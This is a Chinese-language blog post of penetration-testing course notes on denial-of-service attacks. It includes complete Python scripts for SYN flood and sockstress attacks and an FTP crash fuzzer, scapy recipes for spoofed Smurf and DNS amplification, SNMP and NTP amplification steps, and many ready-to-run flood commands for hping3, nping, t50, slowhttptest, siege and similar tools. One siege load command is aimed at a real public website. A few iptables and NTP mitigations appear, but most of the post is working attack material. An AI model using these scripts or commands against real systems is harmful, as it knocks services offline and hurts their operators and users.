第十五章 拒绝服务

▪ DoS 不是 DOS
  – 利用程序漏洞或一对一资源耗尽的Denial of Service 拒绝服务
▪ DDoS 分布式拒绝服务
  – 一对一的攻击完全拼各自的资源,效果差
  – 多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型
▪ 历史
  – 以前:欠缺技术能力的无赖,我 ping死你(最难缠的无赖)
  – 现在:最强大最危险的攻击,攻击方式众多(专业化的要求勒索)
    ▪ 亲身经历:电商网站被勒索、Bill gates僵尸程序
    ▪ 贩卖和租用肉鸡已经成为黑产中重要的一部分
    ▪ 最终的办法就是拼资源,投资抗D,或者乖乖交保护费

▪ Anonymous 匿名者
  – 世界最著名的黑客组织
  – 组织结构宽松,人员来自世界各地
  – 以DDoS攻击著称的无政府主义者
  – 亦正亦邪,攻击恐怖组织也攻击政府宗教机构
  – 近些年来涉及政治斗争
  – 成员露面时均带有Guy Fawkes面具
  – 最早的核心成员来自4chan图片社区
  – 惯常雇用外围黑客成员发动DDoS攻击
▪ 口号
  – We are Anonymous,We are a Legion,We do not forgive,We do not forget,Expect us.

 DoS分类
▪ D网络
  – 基于巨量的Flood耗尽目标网络带宽资源
  – ICMP Flood、UDP Flood
▪ D协议
  – 攻击协议漏洞发起的拒绝服务攻击
  – 如Syn Flood、Ping of Death、ARP、DNS、802.11、SSL
▪ D应用
  – 针对应用软件和操作系统漏洞发起的拒绝服务攻击
  – 大量频繁访问消耗系统资源严重的应用(CC)
  – 通常表现为操作系统运行正常,网络流量不大,但服务停止响应
  – 可以是一击毙命的,也可以是耗尽目标资源的
▪ 以上分类并不严谨,不必太过执着

 为何会被DoS
▪ 从网络攻击者到被害者
  – 网络—>FW—>服务器OS—>服务器应用
▪ 资源耗尽
  – 网络:带宽
  – FW:吞吐量、并发连接
  – 服务器:CPU、内存、I/O
  – 应用:处理请求能力,对OS资源的使用权
▪ 程序漏洞攻击
  – 缓冲区溢出
  – 协议、程序逻辑漏洞
▪ 链路上任何一点都可成为目标

 

Syn-Flood
▪ 常伴随IP欺骗
  – 真正的攻击目标
▪ Scapy
  – i=IP()
  – i.dst=1.1.1.1
  – i.display()
  – t=TCP()
  – sr1(i/t,verbose=1,timeout=3)
  – sr1(IP(dst=1.1.1.1)/TCP())

▪ 攻击脚本 : ./syn_flood.py

#!/usr/bin/python
# _*_ coding:utf8 _*_

from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print("EXAMPLE:./syn_flood.py 1.1.1.1 80 20")
    sys.exit()

target =str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print("SYN flood attacking........, Press Ctrl + c STOP attack")
def synflood(target,port):
    while 0 == 0:
        x = random.randint(0,65535)
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)

for x in range(0,threads):
    thread.start_new_thread(synflood,(target,port))

while 0 == 0:
    sleep(1)

  – iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 1.1.1.1 -j DROP    // 这条防火墙策略很关键,不丢弃RST到时候就是发一个又RST一个,没有用,结合抓包软件一起分析

  – firewall-cmd --direct  --add-rule  ipv4 filter OUTPUT 1 -d 172.25.254.31 -p tcp --tcp-flags RST RST -j DROP   // firewall用这条

  –firewall-cmd --direct --get-all-rules  // 查看所有规则
  – netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'    // 统计所有状态连接的数量
  – windows系统默认半开连接数10个

IP地址欺骗
▪ 经常用于DoS攻击
▪ 根据IP头地址寻址
  – 伪造IP源地址
▪ 边界路由器过滤
  – 入站、出站
▪ 受害者可能是源、目的地址
▪ 绕过基于地址的验证
▪ 压力测试模拟用户
▪ 上层协议(TCP序列号)

Smurf 攻 击
▪ 世界上最古老的DDoS攻击技术 (了解即可)
  – 向广播地址发送伪造源地址的 ICMP echo Request(ping)包
  – LAN所有计算机向伪造源地址返回响应包
  – 对现代操作系统几乎无效(不响应目标为广播的ping)
▪ Scapy
  – i=IP()

  – i=src="1.1.1.1"  // 这个源地址即你要攻击的IP地址
  – i.dst="1.1.1.255"  // 向广播地址发送ping数据包,因为设的源地址为1.1.1.1,所以其会想1.1.1.1回大量的数据包,这就是为什么说src就是你要攻击的IP地址
  – p=ICMP()
  – p.display()
  – r=(i/p)
  – send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)

Sockstress
▪ 2008年由Jack C. Louis 发现
▪ 针对TCP服务的拒绝服务攻击
  – 消耗被攻击目标系统资源
  – 与攻击目标建立大量socket连接
  – 完成三次握手,最后的ACK包 window 大小为 0(客户端不接收数据)
  – 攻击者资源消耗小(CPU、内存、带宽)
  – 异步攻击,单机可拒绝服务高配资源服务器
  – Window窗口实现的TCP流控

▪ Python 攻击脚本
  – ./sockstress.py 1.1.1.1 21 200

#!/usr/bin/python
# -*- coding:utf-8 -*-

from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

if len(sys.argv) !=4:
    print("用法:./sock_stress.py [目标IP] [端口] [线程数]")
    print("举例:./sock_stress.py 10.0.0.2 21 20  #请确定被攻击端口处于开放状态")
    sys.exit()
    
target = str(sys.argv[1])
dstport = str(sys.argv[2])
thread = str(sys.argv[3])

## 攻击函数
def sockstress(target,dstport):
    while 0 == 0:
        try:
            x = random.randint(0,65535)
            response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
            send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)     // 这里关键参数是window=0
        except:
            pass
            
      
##  停止攻击函数
def shutdown(signal,frame):
    print("正在恢复 iptables规则 ")
    os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + target + '-j DROP')
    sys.exit()
    

##  添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + target + '-j DROP')
signal.signal(signal.SIGINT,shutdown)

##  多线程攻击
print("\n 攻击正在进行.......按Ctrl+c停止攻击")
for x in range(0,threads):
    thread.start_new_thread(sockstress,(target,dstport))
    

##  永远执行
while 0 == 0:
    sleep(1)
    

 通过top命令可以查看CPU、内存、cached、buffer基本上都没有多少空闲了,整个系统负载也跑的很高了

通过netstat命令查看ESTABLISHED的数量也一直在不停的增加

 通过free  -m也可以发现可用内存在不断的减少


▪ C 攻击脚本
  – https://github.com/defuse/sockstress
  – gcc -Wall -c sockstress.c
  – gcc -pthread -o sockstress sockstress.o
  – ./sockstress 1.1.1.1:80 eth0
  – ./sockstress 1.1.1.1:80 eth0 -p payloads/http
▪ 防火墙规则
  – iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP

  – firewall-cmd --direct  --add-rule  ipv4 filter OUTPUT 1 -d 172.25.254.31 -p tcp --tcp-flags RST RST -j DROP   // firewall用这条

▪ 攻击效果
  – Netstat
  – Free
  – Top

▪ 防御措施
  – 直到今天sockstress攻击仍然是一种很有效的DoS攻击方式
  – 由于建立完整的TCP三步握手,因此使用syn cookie防御无效
  – 根本的防御方法是采用白名单(不实际)
  – 折中对策:限制单位时间内每IP建的TCP连接数
    ▪ 封杀每30秒与80端口建立连接超过10个的IP地址
    ▪ iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
    ▪ iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
    ▪ 以上规则对DDoS攻击无效

TearDrop
▪ 主要针对早期微软操作系统(95、98、3.x、nt)
  – 近些年有人发现对2.x版本的android系统、6.0 IOS系统攻击有效
▪ 原理很有趣
  – 使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时可被拒绝服务
▪ 攻击效果
  – 被攻击者蓝屏、重启、卡死

▪ Ping大包,比较正常分段与teardrop攻击流量的区别
▪ 针对早期windows系统SMB协议的攻击
  – teardrop_smb.py
▪ 针对Android、IOS 系统的攻击
  – teardrop_android_ios.py
▪ 攻击向量并不确定,要是具体协议分析

DNS放大攻击
▪ 产生大流量的攻击方法
  – 单机的带宽优势
  – 巨大单机数量形成的流量汇聚
  – 利用协议特性实现放大效果的流量
▪ DNS协议放大效果
  – 查询请求流量小,但响应流量可能非常巨大
  – dig ANY hp.com @202.106.0.20(流量放大约8倍)
▪ 攻击原理
  – 伪造源地址为被攻击目标地址,向递增域名查询服务器发起查询
  – DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS

▪ Scapy 构造攻击数据包
  – IP/UDP/DNS/DNS查询内容

▪ 结合IP地址欺骗,利用大量DNS服务器做傀儡攻击目标

这里的DST是DNS服务器的地址,SRC是要攻击的机器的IP地址,通过向DNS服务器发送请求,然后DNS放大回包给我们指定的SRC源地址,从而达到DNS放大攻击的目的

u.port:UDP端口

d.rd=1    // 开启递归查询

d.qdcount=1  // 开启递归查询(图片有误)

DNSQR()   // DNS 查询记录

q.qname='hp.com'    // 定义所要查询的域名

q.qtype=255      // 默认只查A记录,255代表查所有记录,这样能更好的达到放大攻击的效果,不过现在大部分公网DNS服务器都限制了ANY查询,所以还是改成默认的A

d.qd=q        // 将d的qd字段和q(即DNS查询记录)绑定一起

r=(i/u/d)        // r即response,将IP头、UDP头、DNS头绑定在一起

结果验证:可以发现我发送的数据并不大,回包的数据就大一些(这里只是A记录)

从抓包的数据也可以看到,我发过去的包是66,回来的包为98,当然,因为qtype仅仅只是A,所以并不能实现放大很多倍的效果

 SNMP放大攻击
▪ 简单网络管理协议
  – Simple Network Management Protocol
  – 服务端口 UDP 161 / 162  // 161是主动模式开放的端口,162是被动模式开放的端口
  – 管理设备 ( manager / 客户端) 、被管理设备 ( agent / 服务端 )
  – 管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
  – 每一个节点都有一个对象标识符(OID)来唯一的标识
  – IETF定义标准的MIB库 / 厂家自定义MIB库
▪ 攻击原理
  – 请求流量小,查询结果返回流量大
  – 结合伪造源地址实现攻击

▪ 安装SNMP服务
  – 定义community

从验证结果可以看到,发出去的包94,回来的包1514+1514+1370,放大了46倍左右

这是将max_repetitions的值修改为200之后抓包得出的结果,可以发现如果需要增加放大的倍数,可以适当加大此值

NTP放大攻击
▪ 网络时间协议
  – Network Time Protocol
  – 保证网络设备时间同步
  – 电子设备互相干扰导致时钟差异越来越大
  – 影响应用正常运行、日志审计不可信
  – 服务端口 UDP 123
▪ 攻击原理
  – NTP 服务器 monlist(MON_GETLIST)查询功能
    ▪ 监控 NTP 服务器的状况
  – 客户端查询时,NTP服务器返回最后同步时间的600个客户端 IP
    ▪ 每6个IP一个数据包,最多100个数据包(放大约100倍)

 ▪ 发现NTP服务
  – nmap -sU -p123 192.168.1.0/24     // 查询192.168.1.0/24网段内开放了123端口的服务器
▪ 发现漏洞
  – ntpdc -n -c monlist 192.168.1.125    // -n 指不使用域名搜索,只用IP发现,-c 跟具体你要查询的

返回超时,说明不允许monlist查询,也就无法进行NTP服务放大攻击(默认是关闭的)
  – ntpq -c rv 192.168.1.125  // 查询NTP服务器的服务端配置
  – ntpdc -c sysinfo 192.168.1.125  // 查询其他的一些系统信息
▪ 配置文件
  – /etc/ntp.conf
    ▪ restrict -4 default kod nomodify notrap nopeer noquery  // 注释这两行,即开启monlist查询功能,重启ntp服务
    ▪ restrict -6 default kod nomodify notrap nopeer noquery

可以发现现在monlist可以查询了

▪ NTP攻击对策
  – 升级到 ntpd 4.2.7p26 及以上的版本(默认关闭monlist查询)
  – 手动关闭monlist查询功能

应 用 层 DoS
▪ 应用服务漏洞
  – 服务代码存在漏洞,遇异常提交数据时程序崩溃
  – 应用处理大量并发请求能力有限,被拒绝的是应用或OS
▪ 缓冲区溢出漏洞
  – 向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
  – 影响:远程代码执行、DoS
  – 利用模糊测试方法发现缓冲区溢出漏洞
▪ CesarFTP 0.99    服务漏洞
  – ftp_fuzz.py       # MKD/RMD

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket
import sys

if len(sys.argv) != 5:
    print("用法:./ftp_fuzz.py [目标IP] [目标端口] [步长] [最大长度]")
    print("举例:./ftp_fuzz.py  1.1.1.1  21   100  1000")
    sys.exit()
    
ip = str(sys.argv[1])
port = int(sys.argv[2])
i = int(sys.argv[3])
step = int(sys.argv[3])
max = int(sys.argv[4])
user = raw_input(str("FTP账号:"))
passwd = raw_input(str("FTP密码:"))
command = raw_input(str("FTP命令:"))

while i <= max:
    try:
        payload = command + " " + ('\n' * i)
        print("已发送" + str(i) + "个换行符")
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        connect=s.connect((ip,port))
        s.recv(1024)
        s.send('USER' + user + '\r\n')
        s.recv(1024)
        s.send('PASS' + passwd + '\r\n')
        s.recv(1024)
        s.send(payload + '\r\n')
        s.send('QUIT\r\r')
        s.recv(1024)
        s.close()
        i = i + step
    except:
        print("\n服务已奔溃")
        sys.exit()

print("\n未发现缓冲区溢出漏洞")

 可以看到大概发了700个换行符左右,服务器就挂起了

 回到服务器端,可以发现21端口也已经没有对外开放了

再次连接也显示连接超时了

 

▪ Ms12-020 远程桌面协议DoS漏洞

  root@kali:~# searchsploit ms12-020    
  /usr/share/exploitdb/exploits/windows/dos/18606.txt  // 找到其利用方法

可以发现,该漏洞的利用方法还是非常简单,一条命令搞定,dat文件可以取dat标注处进行下载

多运行几次,最终导致对方机器蓝屏重启,达到拒绝服务的目的

▪ Slowhttptest(源自google)
  – 低带宽应用层慢写DoS攻击(相对于CC等快速攻击而言的慢速)    客户端只有1M的带宽,服务器有1G的带宽,仍然可以用仅有的1M的带宽将服务器拥有1G的带宽打死
  – 最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)
  – 尤其擅长攻击apache、tomcat(几乎百发百中)
▪ 攻击方法
  – Slowloris、Slow HTTP POST 攻击
    ▪ 耗尽应用的并发连接池,类似于Http层的Syn flood
    ▪ HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS
    ▪ Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n……
    ▪ Slow POST:HTTP头content-length声明长度,但body部分缓慢发送
  – Slow Read attack攻击
    ▪ 与 slowloris and slow POST目的相同,都是耗尽应用的并发连接池
    ▪ 不同之处在于请求正常发送,但慢速读取响应数据
    ▪ 攻击者调整TCP window窗口大小,是服务器慢速返回数据
  – Apache Range Header attack (对DVWA测试无效)
    ▪ 客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
    ▪ 耗尽服务器CPU、内存资源

▪ ulimite -n 70000      // 设置最大文件打开数
▪ HTTP Post 攻击模式
  – slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB   -u http://1.1.1.1 -x 10 -p 3  // -c 建立1000个连接  -B Slow HTTP POST模式攻击  -g  -o 输出到body_stats文件,-i  间隔110秒,-r  请求的速率  -s  指定Content-Length header的长度(只适用于Slow HTTP POST攻击模式) -t  采用的是FAKEVERB请求方式   -u  指定URL   -x  指定每次传输数据最大的长度   -p  指定在多长时间内服务端没有响应我我就判定其被dos了
▪ slowloris 攻击模式
  – slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://1.1.1.1 -x 24 -p 3  // -H 采用SlowLoris攻击模式
▪ 支持代理
▪ 大量应用服务器和安全设备都无法防护慢速攻击

验证部分:

slowhttptest   -c 60000 -H -g -o body_stats  -i 10  -r 1  -t  GET   -u http://1.1.1.1 -x 24 -p 3  -l  9999999  // 每次只发1个连接,-l 指定一个很大的数字,代表我一直连你,总共建立60000个连接,

connected 代表已经建立的连接,目前服务的可用性还是YES

过了一段时间,当建立了170个连接左右,连接池就被占满了,发现服务可用性变为NO了,说明其可用的最大的连接池为100多个

 访问发现连不上了

 

还有一类拒绝服务
▪ 炸邮箱
  – 使用垃圾邮件塞满邮箱
▪ 无意识的/非故意的拒绝服务攻击
  – 数据库服务器宕机恢复后,引用队列大量请求洪水涌来
  – 告警邮件在邮件服务器修改地址后洪水攻击防火墙

拒绝服务攻击工具
▪ RUDY
  – 慢速应用层HTTP POST攻击,与slowhttptest原理相同
  – 每次只传输一个字节的数据
  – 美剧“黑客军团”中曾提到过此攻击手段
  – 攻击有表单WEB页面,攻击时需指定攻击的参数名称
  – https://sourceforge.net/projects/r-u-dead-yet/

使用方法:

1)配置好配置文件

2)发起攻击

3)验证结果

▪ Hping3
  – 几乎可以定制发送TCP/IP数据包,用于测试FW、端口扫描、性能测试

命令详解:

usage: hping3 host [options]
  -v  --version   查看版本信息
  -c  --count     包的数量
  -i  --interval  间隔时间
      --fast      
      --faster    
      --flood	  尽可能快的发送数据包,不要回包(即泛洪攻击)
  -n  --numeric   不解析域名
  -q  --quiet     安静模式
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      伪造源地址
  --rand-dest      random destionation address mode. see the man.
  --rand-source    开启随机源地址模式
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   目标端口
  -k  --keep       keep still source port
  -w  --win        窗口大小
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       数据大小                (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt	    Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

▪ Syn Flood攻击
  – hping3  -c 1000  -d 120  -S  -w 64  -p 80  --flood  --rand-source  192.168.1.25  
  – hping3 -S -P -U -p 80 --flood --rand-source  192.168.1.119

上图可以看出,通过很多随机的源地址对119发送大量的SYN,PSH,URG,这样其回的SYN+ACK就会回给随机生成的源地址,而真实的IP会认为,我没有发送请求,不作回应。服务器没有收到回应,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。

================================================================

▪ TCP Flood攻击

  – hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.119 (TCP Flood)  // 即建立3次完整的握手,非半连接,而是全连接,但是我发的量足够大,也可以达到拒绝服务的效果

可以发现当我把所有的FIN、SYN、RST、PSH、ACK、URG位都置1的时候,通过WIRESHARK抓包的结果都是红色的,这样对其发送数据量如果足够大的话,也可以产生拒绝服务的效果

▪ ICMP Flood攻击
  – hping3 -q -n -a 123.122.113.120 --icmp -d 1000 --flood 192.168.1.119  // -a即伪造一个固定的源地址
▪ UDP Flood攻击
  – hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2

▪ LAND攻击
  – 特殊种类的SYN Flood攻击
  – 源地址、目的地址都是受害者,受害者与自己完成三次握手
  – hping3 -n -a 192.168.1.119   -S -d 100 -p 80 --flood  192.168.1.119  // 自己打自己,自己与自己建立完整的TCP三次握手,从而消耗带宽,消耗资源
▪ TCP全链接DoS攻击
  – nping --tcp-connect --rate=10000 -c 1000000000 -q 192.168.1.119  // --rate表示一次建立10000个TCP连接,-c表示一共跟你建立100亿个连接
▪ 查公网IP(与DDOS无关,虚拟机测试无效)
  – nping --echo-client "public" echo.nmap.org --udp

▪ Siege
  – http/https 压力测试工具,模拟多个用户并发访问请求

  – siege -g http://192.168.1.119    // -g 代表get方式,单独使用-g参数可以获取服务器的banner信息


  – siege -g http://1.1.1.1/a.php / 1.1.1.1
  – siege -i -c 1000 http://www.4399.com  -A siegehttp  // -i 表示siege支持的几种方式中的一种,代表internet,-c 代表模拟1000并发,-A  siegehttp,随便写,表示仿冒的UA

通过Wireshark抓包可以看到

使用top命令也能够查看到Siege的运行状态


  – 同时攻击多个url,使用 -f 调用字典文件  (默认就是使用-f参数,所以可以将需要攻击的URL写到这个文件里面就行了)
    ▪ /etc/siege/urls.txt

  siege -i -c 1000 http://www.4399.com  -A siegehttp  -vv    // 实时显示详细信息


▪ T50 网络压力测试(基于网络层的攻击,没有足够的数量,不要轻易尝试,容易造成自己的机器卡死)
  – t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80
  – t50 1.1.1.1 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22

▪ Nmap
  – grep dos /usr/share/nmap/scripts/script.db | cut -d "\"" -f 2

  nmap  -p445  --script=smb-vuln-ms10-054.nse  192.168.1.119  // 查看119这台机器上开放的445端口的服务是否存在smb-vuln-ms10-054.nse这个漏洞

 

匿名者拒绝服务工具包
▪ 匿名者发布的DoS工具(以下三项都是Windows程序)
  – LOIC
  – HOIC
  – DDoSer  (推荐,原理和Slowhttptest的slow post方式相似,给服务端发送一个数据,一点一点发,耗尽其连接池,而对于本机没有什么性能影响,对于被攻击的服务器而言,由于只建立了一个TCP连接,并没有建立过多的TCP连接,排查起来也是比较困难的,经测试于Apache应用生效,Nginx尚未验证)
▪ 招募志愿者发布以上工具
▪ 以上DoS工具不隐藏真实IP地址

其他拒绝服务工具

▪ HULK - Http Unbearable Load King  (推荐)
  – Python脚本
  – 随机产生大量唯一的地址请求,避免缓存命中
  – 耗尽WEB服务器资源池,同时也会耗尽系统的CPU资源(Apache验证)
  – https://packetstormsecurity.com/files/download/112856/hulk.zip

▪ GoldenEye (对于攻击者本身有消耗,攻击别人的同时需要自己PC的配置足够强大,主要是攻击其WEB应用,对其系统CPU等等没有影响)
  – http/https拒绝服务攻击工具
  – 安全研究为目的Python脚本
  – 随机攻击向量,keep-alive,避免缓存命中
  – wget https://github.com/jseidl/GoldenEye/archive/master.zip
  – unzip master.zip
  – ./goldeneye.py http://1.1.1.1 -w 50

THC-SSL-DOS    

转至Web渗透篇

详解DDOS

posted @ 2019-09-10 18:22  Paco_Pig  阅读(565)  评论(0编辑  收藏  举报